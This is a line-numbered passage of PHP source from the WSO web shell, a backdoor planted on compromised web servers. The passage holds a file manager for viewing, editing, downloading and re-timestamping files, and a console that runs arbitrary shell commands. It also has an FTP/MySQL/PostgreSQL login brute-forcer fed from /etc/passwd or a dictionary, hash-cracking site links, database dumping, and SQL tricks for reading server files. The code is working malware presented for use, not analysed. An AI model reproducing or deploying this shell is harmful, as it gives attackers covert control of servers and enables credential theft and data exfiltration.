  619. <form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
  620. $dirs = $files = array();
  621. $n = count($dirContent);
  622. for($i=0;$i<$n;$i++) {
  623. $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
  624. $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
  625. $tmp = array('name' => $dirContent[$i],
  626. 'path' => $GLOBALS['cwd'].$dirContent[$i],
  627. 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
  628. 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
  629. 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
  630. 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
  631. 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
  632. );
  633. if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
  634. $files[] = array_merge($tmp, array('type' => 'file'));
  635. elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
  636. $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
  637. elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != "."))
  638. $dirs[] = array_merge($tmp, array('type' => 'dir'));
  639. }
  640. $GLOBALS['sort'] = $sort;
  641. function wsoCmp($a, $b) {
  642. if($GLOBALS['sort'][0] != 'size')
  643. return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
  644. else
  645. return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
  646. }
  647. usort($files, "wsoCmp");
  648. usort($dirs, "wsoCmp");
  649. $files = array_merge($dirs, $files);
  650. $l = 0;
  651. foreach($files as $f) {
  652. echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
  653. .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
  654. $l = $l?0:1;
  655. }
  656. echo "<tr><td colspan=7>
  657. <input type=hidden name=a value='FilesMan'>
  658. <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
  659. <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
  660. <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
  661. if(class_exists('ZipArchive'))
  662. echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
  663. echo "<option value='tar'>Compress (tar.gz)</option>";
  664. if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
  665. echo "<option value='paste'>Paste / Compress</option>";
  666. echo "</select>&nbsp;";
  667. if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
  668. echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;";
  669. echo "<input type='submit' value='>>'></td></tr></form></table></div>";
  670. wsoFooter();
  671. }
  672. function actionStringTools() {
  673. if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
  674. if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
  675. if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
  676. if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
  677. if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
  678. $stringTools = array(
  679. 'Base64 encode' => 'base64_encode',
  680. 'Base64 decode' => 'base64_decode',
  681. 'Url encode' => 'urlencode',
  682. 'Url decode' => 'urldecode',
  683. 'Full urlencode' => 'full_urlencode',
  684. 'md5 hash' => 'md5',
  685. 'sha1 hash' => 'sha1',
  686. 'crypt' => 'crypt',
  687. 'CRC32' => 'crc32',
  688. 'ASCII to HEX' => 'ascii2hex',
  689. 'HEX to ASCII' => 'hex2ascii',
  690. 'HEX to DEC' => 'hexdec',
  691. 'HEX to BIN' => 'hex2bin',
  692. 'DEC to HEX' => 'dechex',
  693. 'DEC to BIN' => 'decbin',
  694. 'BIN to HEX' => 'binhex',
  695. 'BIN to DEC' => 'bindec',
  696. 'String to lower case' => 'strtolower',
  697. 'String to upper case' => 'strtoupper',
  698. 'Htmlspecialchars' => 'htmlspecialchars',
  699. 'String length' => 'strlen',
  700. );
  701. if(isset($_POST['ajax'])) {
  702. WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
  703. ob_start();
  704. if(in_array($_POST['p1'], $stringTools))
  705. echo $_POST['p1']($_POST['p2']);
  706. $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  707. echo strlen($temp), "\n", $temp;
  708. exit;
  709. }
  710. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  711. WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
  712. wsoHeader();
  713. echo '<h1>String conversions</h1><div class=content>';
  714. echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
  715. foreach($stringTools as $k => $v)
  716. echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
  717. echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
  718. if(!empty($_POST['p1'])) {
  719. if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
  720. }
  721. echo"</pre></div><br><h1>Search files:</h1><div class=content>
  722. <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
  723. <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
  724. <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
  725. <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
  726. <tr><td></td><td><input type='submit' value='>>'></td></tr>
  727. </table></form>";
  728. function wsoRecursiveGlob($path) {
  729. if(substr($path, -1) != '/')
  730. $path.='/';
  731. $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
  732. if(is_array($paths)&&@count($paths)) {
  733. foreach($paths as $item) {
  734. if(@is_dir($item)){
  735. if($path!=$item)
  736. wsoRecursiveGlob($item);
  737. } else {
  738. if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
  739. echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>";
  740. }
  741. }
  742. }
  743. }
  744. if(@$_POST['p3'])
  745. wsoRecursiveGlob($_POST['c']);
  746. echo "</div><br><h1>Search for hash:</h1><div class=content>
  747. <form method='post' target='_blank' name='hf'>
  748. <input type='text' name='hash' style='width:200px;'><br>
  749. <input type='hidden' name='act' value='find'/>
  750. <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
  751. <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
  752. <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
  753. </form></div>";
  754. wsoFooter();
  755. }
  756. function actionFilesTools() {
  757. if( isset($_POST['p1']) )
  758. $_POST['p1'] = urldecode($_POST['p1']);
  759. if(@$_POST['p2']=='download') {
  760. if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
  761. ob_start("ob_gzhandler", 4096);
  762. header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
  763. if (function_exists("mime_content_type")) {
  764. $type = @mime_content_type($_POST['p1']);
  765. header("Content-Type: " . $type);
  766. } else
  767. header("Content-Type: application/octet-stream");
  768. $fp = @fopen($_POST['p1'], "r");
  769. if($fp) {
  770. while(!@feof($fp))
  771. echo @fread($fp, 1024);
  772. fclose($fp);
  773. }
  774. }exit;
  775. }
  776. if( @$_POST['p2'] == 'mkfile' ) {
  777. if(!file_exists($_POST['p1'])) {
  778. $fp = @fopen($_POST['p1'], 'w');
  779. if($fp) {
  780. $_POST['p2'] = "edit";
  781. fclose($fp);
  782. }
  783. }
  784. }
  785. wsoHeader();
  786. echo '<h1>File tools</h1><div class=content>';
  787. if( !file_exists(@$_POST['p1']) ) {
  788. echo 'File not exists';
  789. wsoFooter();
  790. return;
  791. }
  792. $uid = @posix_getpwuid(@fileowner($_POST['p1']));
  793. if(!$uid) {
  794. $uid['name'] = @fileowner($_POST['p1']);
  795. $gid['name'] = @filegroup($_POST['p1']);
  796. } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
  797. echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
  798. echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
  799. if( empty($_POST['p2']) )
  800. $_POST['p2'] = 'view';
  801. if( is_file($_POST['p1']) )
  802. $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
  803. else
  804. $m = array('Chmod', 'Rename', 'Touch');
  805. foreach($m as $v)
  806. echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
  807. echo '<br><br>';
  808. switch($_POST['p2']) {
  809. case 'view':
  810. echo '<pre class=ml1>';
  811. $fp = @fopen($_POST['p1'], 'r');
  812. if($fp) {
  813. while( !@feof($fp) )
  814. echo htmlspecialchars(@fread($fp, 1024));
  815. @fclose($fp);
  816. }
  817. echo '</pre>';
  818. break;
  819. case 'highlight':
  820. if( @is_readable($_POST['p1']) ) {
  821. echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
  822. $code = @highlight_file($_POST['p1'],true);
  823. echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
  824. }
  825. break;
  826. case 'chmod':
  827. if( !empty($_POST['p3']) ) {
  828. $perms = 0;
  829. for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
  830. $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
  831. if(!@chmod($_POST['p1'], $perms))
  832. echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
  833. }
  834. clearstatcache();
  835. echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
  836. break;
  837. case 'edit':
  838. if( !is_writable($_POST['p1'])) {
  839. echo 'File isn\'t writeable';
  840. break;
  841. }
  842. if( !empty($_POST['p3']) ) {
  843. $time = @filemtime($_POST['p1']);
  844. $_POST['p3'] = substr($_POST['p3'],1);
  845. $fp = @fopen($_POST['p1'],"w");
  846. if($fp) {
  847. @fwrite($fp,$_POST['p3']);
  848. @fclose($fp);
  849. echo 'Saved!<br><script>p3_="";</script>';
  850. @touch($_POST['p1'],$time,$time);
  851. }
  852. }
  853. echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
  854. $fp = @fopen($_POST['p1'], 'r');
  855. if($fp) {
  856. while( !@feof($fp) )
  857. echo htmlspecialchars(@fread($fp, 1024));
  858. @fclose($fp);
  859. }
  860. echo '</textarea><input type=submit value=">>"></form>';
  861. break;
  862. case 'hexdump':
  863. $c = @file_get_contents($_POST['p1']);
  864. $n = 0;
  865. $h = array('00000000<br>','','');
  866. $len = strlen($c);
  867. for ($i=0; $i<$len; ++$i) {
  868. $h[1] .= sprintf('%02X',ord($c[$i])).' ';
  869. switch ( ord($c[$i]) ) {
  870. case 0: $h[2] .= ' '; break;
  871. case 9: $h[2] .= ' '; break;
  872. case 10: $h[2] .= ' '; break;
  873. case 13: $h[2] .= ' '; break;
  874. default: $h[2] .= $c[$i]; break;
  875. }
  876. $n++;
  877. if ($n == 32) {
  878. $n = 0;
  879. if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
  880. $h[1] .= '<br>';
  881. $h[2] .= "\n";
  882. }
  883. }
  884. echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
  885. break;
  886. case 'rename':
  887. if( !empty($_POST['p3']) ) {
  888. if(!@rename($_POST['p1'], $_POST['p3']))
  889. echo 'Can\'t rename!<br>';
  890. else
  891. die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
  892. }
  893. echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
  894. break;
  895. case 'touch':
  896. if( !empty($_POST['p3']) ) {
  897. $time = strtotime($_POST['p3']);
  898. if($time) {
  899. if(!touch($_POST['p1'],$time,$time))
  900. echo 'Fail!';
  901. else
  902. echo 'Touched!';
  903. } else echo 'Bad time format!';
  904. }
  905. clearstatcache();
  906. echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
  907. break;
  908. }
  909. echo '</div>';
  910. wsoFooter();
  911. }
  912. function actionConsole() {
  913. if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
  914. WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
  915. $_POST['p1'] .= ' 2>&1';
  916. } elseif(!empty($_POST['p1']))
  917. WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
  918. if(isset($_POST['ajax'])) {
  919. WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
  920. ob_start();
  921. echo "d.cf.cmd.value='';\n";
  922. $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
  923. if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
  924. if(@chdir($match[1])) {
  925. $GLOBALS['cwd'] = @getcwd();
  926. echo "c_='".$GLOBALS['cwd']."';";
  927. }
  928. }
  929. echo "d.cf.output.value+='".$temp."';";
  930. echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
  931. $temp = ob_get_clean();
  932. echo strlen($temp), "\n", $temp;
  933. exit;
  934. }
  935. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  936. WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
  937. wsoHeader();
  938. echo "<script>
  939. if(window.Event) window.captureEvents(Event.KEYDOWN);
  940. var cmds = new Array('');
  941. var cur = 0;
  942. function kp(e) {
  943. var n = (window.Event) ? e.which : e.keyCode;
  944. if(n == 38) {
  945. cur--;
  946. if(cur>=0)
  947. document.cf.cmd.value = cmds[cur];
  948. else
  949. cur++;
  950. } else if(n == 40) {
  951. cur++;
  952. if(cur < cmds.length)
  953. document.cf.cmd.value = cmds[cur];
  954. else
  955. cur--;
  956. }
  957. }
  958. function add(cmd) {
  959. cmds.pop();
  960. cmds.push(cmd);
  961. cmds.push('');
  962. cur = cmds.length-1;
  963. }
  964. </script>";
  965. echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
  966. foreach($GLOBALS['aliases'] as $n => $v) {
  967. if($v == '') {
  968. echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
  969. continue;
  970. }
  971. echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
  972. }
  973. echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
  974. if(!empty($_POST['p1'])) {
  975. echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
  976. }
  977. echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
  978. echo '</form></div><script>d.cf.cmd.focus();</script>';
  979. wsoFooter();
  980. }
  981. function actionLogout() {
  982. setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
  983. die('bye!');
  984. }
  985. function actionSelfRemove() {
  986. if($_POST['p1'] == 'yes')
  987. if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
  988. die('Shell has been removed');
  989. else
  990. echo 'unlink error!';
  991. if($_POST['p1'] != 'yes')
  992. wsoHeader();
  993. echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
  994. wsoFooter();
  995. }
  996. function actionBruteforce() {
  997. wsoHeader();
  998. if( isset($_POST['proto']) ) {
  999. echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
  1000. if( $_POST['proto'] == 'ftp' ) {
  1001. function wsoBruteForce($ip,$port,$login,$pass) {
  1002. $fp = @ftp_connect($ip, $port?$port:21);
  1003. if(!$fp) return false;
  1004. $res = @ftp_login($fp, $login, $pass);
  1005. @ftp_close($fp);
  1006. return $res;
  1007. }
  1008. } elseif( $_POST['proto'] == 'mysql' ) {
  1009. function wsoBruteForce($ip,$port,$login,$pass) {
  1010. $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
  1011. @mysql_close($res);
  1012. return $res;
  1013. }
  1014. } elseif( $_POST['proto'] == 'pgsql' ) {
  1015. function wsoBruteForce($ip,$port,$login,$pass) {
  1016. $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
  1017. $res = @pg_connect($str);
  1018. @pg_close($res);
  1019. return $res;
  1020. }
  1021. }
  1022. $success = 0;
  1023. $attempts = 0;
  1024. $server = explode(":", $_POST['server']);
  1025. if($_POST['type'] == 1) {
  1026. $temp = @file('/etc/passwd');
  1027. if( is_array($temp) )
  1028. foreach($temp as $line) {
  1029. $line = explode(":", $line);
  1030. ++$attempts;
  1031. if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
  1032. $success++;
  1033. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
  1034. }
  1035. if(@$_POST['reverse']) {
  1036. $tmp = "";
  1037. for($i=strlen($line[0])-1; $i>=0; --$i)
  1038. $tmp .= $line[0][$i];
  1039. ++$attempts;
  1040. if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
  1041. $success++;
  1042. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
  1043. }
  1044. }
  1045. }
  1046. } elseif($_POST['type'] == 2) {
  1047. $temp = @file($_POST['dict']);
  1048. if( is_array($temp) )
  1049. foreach($temp as $line) {
  1050. $line = trim($line);
  1051. ++$attempts;
  1052. if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
  1053. $success++;
  1054. echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
  1055. }
  1056. }
  1057. }
  1058. echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
  1059. }
  1060. echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
  1061. .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
  1062. .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
  1063. .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
  1064. .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
  1065. .'<span>Server:port</span></td>'
  1066. .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
  1067. .'<tr><td><span>Brute type</span></td>'
  1068. .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
  1069. .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
  1070. .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
  1071. .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
  1072. .'<td><input type=text name=login value="root"></td></tr>'
  1073. .'<tr><td><span>Dictionary</span></td>'
  1074. .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
  1075. .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
  1076. echo '</div><br>';
  1077. wsoFooter();
  1078. }
  1079. function actionSql() {
  1080. class DbClass {
  1081. var $type;
  1082. var $link;
  1083. var $res;
  1084. function DbClass($type) {
  1085. $this->type = $type;
  1086. }
  1087. function connect($host, $user, $pass, $dbname){
  1088. switch($this->type) {
  1089. case 'mysql':
  1090. if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
  1091. break;
  1092. case 'pgsql':
  1093. $host = explode(':', $host);
  1094. if(!$host[1]) $host[1]=5432;
  1095. if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
  1096. break;
  1097. }
  1098. return false;
  1099. }
  1100. function selectdb($db) {
  1101. switch($this->type) {
  1102. case 'mysql':
  1103. if (@mysql_select_db($db))return true;
  1104. break;
  1105. }
  1106. return false;
  1107. }
  1108. function query($str) {
  1109. switch($this->type) {
  1110. case 'mysql':
  1111. return $this->res = @mysql_query($str);
  1112. break;
  1113. case 'pgsql':
  1114. return $this->res = @pg_query($this->link,$str);
  1115. break;
  1116. }
  1117. return false;
  1118. }
  1119. function fetch() {
  1120. $res = func_num_args()?func_get_arg(0):$this->res;
  1121. switch($this->type) {
  1122. case 'mysql':
  1123. return @mysql_fetch_assoc($res);
  1124. break;
  1125. case 'pgsql':
  1126. return @pg_fetch_assoc($res);
  1127. break;
  1128. }
  1129. return false;
  1130. }
  1131. function listDbs() {
  1132. switch($this->type) {
  1133. case 'mysql':
  1134. return $this->query("SHOW databases");
  1135. break;
  1136. case 'pgsql':
  1137. return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
  1138. break;
  1139. }
  1140. return false;
  1141. }
  1142. function listTables() {
  1143. switch($this->type) {
  1144. case 'mysql':
  1145. return $this->res = $this->query('SHOW TABLES');
  1146. break;
  1147. case 'pgsql':
  1148. return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
  1149. break;
  1150. }
  1151. return false;
  1152. }
  1153. function error() {
  1154. switch($this->type) {
  1155. case 'mysql':
  1156. return @mysql_error();
  1157. break;
  1158. case 'pgsql':
  1159. return @pg_last_error();
  1160. break;
  1161. }
  1162. return false;
  1163. }
  1164. function setCharset($str) {
  1165. switch($this->type) {
  1166. case 'mysql':
  1167. if(function_exists('mysql_set_charset'))
  1168. return @mysql_set_charset($str, $this->link);
  1169. else
  1170. $this->query('SET CHARSET '.$str);
  1171. break;
  1172. case 'pgsql':
  1173. return @pg_set_client_encoding($this->link, $str);
  1174. break;
  1175. }
  1176. return false;
  1177. }
  1178. function loadFile($str) {
  1179. switch($this->type) {
  1180. case 'mysql':
  1181. return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
  1182. break;
  1183. case 'pgsql':
  1184. $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
  1185. $r=array();
  1186. while($i=$this->fetch())
  1187. $r[] = $i['file'];
  1188. $this->query('drop table wso2');
  1189. return array('file'=>implode("\n",$r));
  1190. break;
  1191. }
  1192. return false;
  1193. }
  1194. function dump($table, $fp = false) {
  1195. switch($this->type) {
  1196. case 'mysql':
  1197. $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
  1198. $create = mysql_fetch_array($res);
  1199. $sql = $create[1].";\n";
  1200. if($fp) fwrite($fp, $sql); else echo($sql);
  1201. $this->query('SELECT * FROM `'.$table.'`');
  1202. $i = 0;
  1203. $head = true;
  1204. while($item = $this->fetch()) {
  1205. $sql = '';
  1206. if($i % 1000 == 0) {
  1207. $head = true;
  1208. $sql = ";\n\n";
  1209. }
  1210. $columns = array();
  1211. foreach($item as $k=>$v) {
  1212. if($v === null)
  1213. $item[$k] = "NULL";
  1214. elseif(is_int($v))
  1215. $item[$k] = $v;
  1216. else
  1217. $item[$k] = "'".@mysql_real_escape_string($v)."'";
  1218. $columns[] = "`".$k."`";
  1219. }
  1220. if($head) {
  1221. $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
  1222. $head = false;
  1223. } else
  1224. $sql .= "\n\t,(".implode(", ", $item).')';
  1225. if($fp) fwrite($fp, $sql); else echo($sql);
  1226. $i++;
  1227. }
  1228. if(!$head)
  1229. if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
  1230. break;
  1231. case 'pgsql':
  1232. $this->query('SELECT * FROM '.$table);
  1233. while($item = $this->fetch()) {
  1234. $columns = array();
  1235. foreach($item as $k=>$v) {
  1236. $item[$k] = "'".addslashes($v)."'";
  1237. $columns[] = $k;
  1238. }
  1239. $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
  1240. if($fp) fwrite($fp, $sql); else echo($sql);
  1241. }
  1242. break;
  1243. }
  1244. return false;
  1245. }
  1246. };
